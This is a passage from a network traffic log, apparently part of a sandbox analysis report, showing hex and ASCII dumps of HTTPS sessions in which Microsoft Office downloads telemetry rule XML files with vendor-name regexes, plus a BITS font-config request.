chunked
2024-11-16 12:01:25 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-16 12:01:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:26 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120126Z-16547b76f7fqqjnnhC1DFWxv740000000100000000009zyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:26 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 764b3efa-d01e-007a-4391-36f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120126Z-164f84587bfs5tz9hC1DFW9a3w00000002ug000000007czw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:26 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: a0c6eadb-101e-007a-0609-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120126Z-1866b5c5fbbtpjhjhC1DFWr6tw00000002u00000000007fx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:26 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:26 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120126Z-16547b76f7fljddfhC1DFWeqbs00000003f000000000eykv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:26 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:26 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120126Z-16547b76f7fw2955hC1DFWsptc0000000370000000008egb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:26 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49746	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:26 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-16 12:01:26 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=103456 Date: Sat, 16 Nov 2024 12:01:26 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-16 12:01:26 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f521cbf-201e-0003-13a0-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120127Z-16547b76f7fgfpmjhC1DFWw6ec000000023g00000000cfh8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:27 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 06b7652e-701e-000d-4eaf-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120127Z-1866b5c5fbbkbjq9hC1DFWf1es00000001mg00000000ahmx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:27 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: f9acdc70-401e-0064-2697-3654af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120127Z-164f84587bf6n6jwhC1DFW90fn00000001xg000000008t04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:27 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:27 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e43e0d6e-f01e-0099-649d-379171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120127Z-16547b76f7fj5p7mhC1DFWf8w40000000png00000000aduk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:27 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:27 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:27 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: bd6b8569-001e-0034-58a8-36dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120127Z-16547b76f7fl5zvnhC1DFWtk9g000000015g000000007dwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:27 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:28 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 3ed4fa9a-c01e-000b-399a-37e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120128Z-16547b76f7fkf5v9hC1DFW2y5s00000002rg0000000011ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" 